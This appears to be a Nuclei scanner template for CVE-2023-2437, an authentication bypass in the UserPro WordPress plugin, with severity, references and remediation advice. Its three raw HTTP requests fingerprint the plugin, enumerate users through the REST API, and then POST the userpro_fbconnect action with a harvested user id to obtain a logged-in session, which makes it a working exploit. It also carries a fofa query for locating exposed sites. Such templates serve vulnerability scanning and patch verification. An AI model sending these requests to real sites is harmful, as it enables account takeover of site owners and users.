Description
The UserPro plugin for WordPress through 5.1.1 allows authentication bypass via the userpro_fbconnect AJAX action.
The UserPro plugin for WordPress through 5.1.1 allows authentication bypass via the userpro_fbconnect AJAX action.
id: CVE-2023-2437
info:
name: UserPro <= 5.1.1 - Authentication Bypass
author: intelligent-ears
severity: critical
description: |
The UserPro plugin for WordPress through 5.1.1 allows authentication bypass via the userpro_fbconnect AJAX action.
impact: |
Unauthenticated attackers can bypass authentication by exploiting the Facebook connect AJAX action with arbitrary user IDs, potentially gaining full administrative access to the WordPress site and all user accounts.
remediation: |
Update UserPro plugin to a version newer than 5.1.1 that properly validates authentication in the userpro_fbconnect AJAX action.
reference:
- https://github.com/RxRCoder/CVE-2023-2437
- https://www.wordfence.com/blog/2023/11/several-critical-vulnerabilities-including-privilege-escalation-authentication-bypass-and-more-patched-in-userpro-wordpress-plugin/
- https://nvd.nist.gov/vuln/detail/CVE-2023-2437
- https://codecanyon.net/item/userpro-user-profiles-with-social-login/5958681
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2023-2437
cwe-id: CWE-287
epss-score: 0.06746
epss-percentile: 0.93621
cpe: cpe:2.3:a:userproplugin:userpro:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 3
vendor: userproplugin
product: userpro
framework: wordpress
fofa-query: body="/wp-content/plugins/userpro/"
tags: cve,cve2023,wp,wordpress,wp-plugin,userpro,auth-bypass,vkev,vuln
flow: http(1) && http(2) && http(3)
http:
- raw:
- |
GET /wp-content/plugins/userpro/css/userpro.min.css HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'contains(body, ".userpro")'
- 'status_code == 200'
condition: and
internal: true
- raw:
- |
GET /wp-json/wp/v2/users HTTP/1.1
Host: {{Hostname}}
extractors:
- type: json
name: username
part: body
json:
- '.[0].slug'
internal: true
- type: json
name: user_id
part: body
json:
- '.[0].id'
internal: true
- raw:
- |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
action=userpro_fbconnect&id={{user_id}}&email={{username}}
matchers-condition: and
matchers:
- type: word
part: body
words:
- "{\"redirect_uri\":\"refresh\"}"
- "wp-admin-bar-logout"
- "<span class='display-name'>"
condition: or
- type: word
part: header
words:
- "wordpress_logged_in"
- "wordpress_sec_"
condition: or
- type: status
status:
- 200
# digest: 4a0a00473045022100e1fe0b39a6919122d52f3a7ed4825780886a3797e9a20a38cf2e1611471e8b8202200bab560a10cbb358855eacacdbe68032bac7488a299c6c956af350004f3c4a68:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.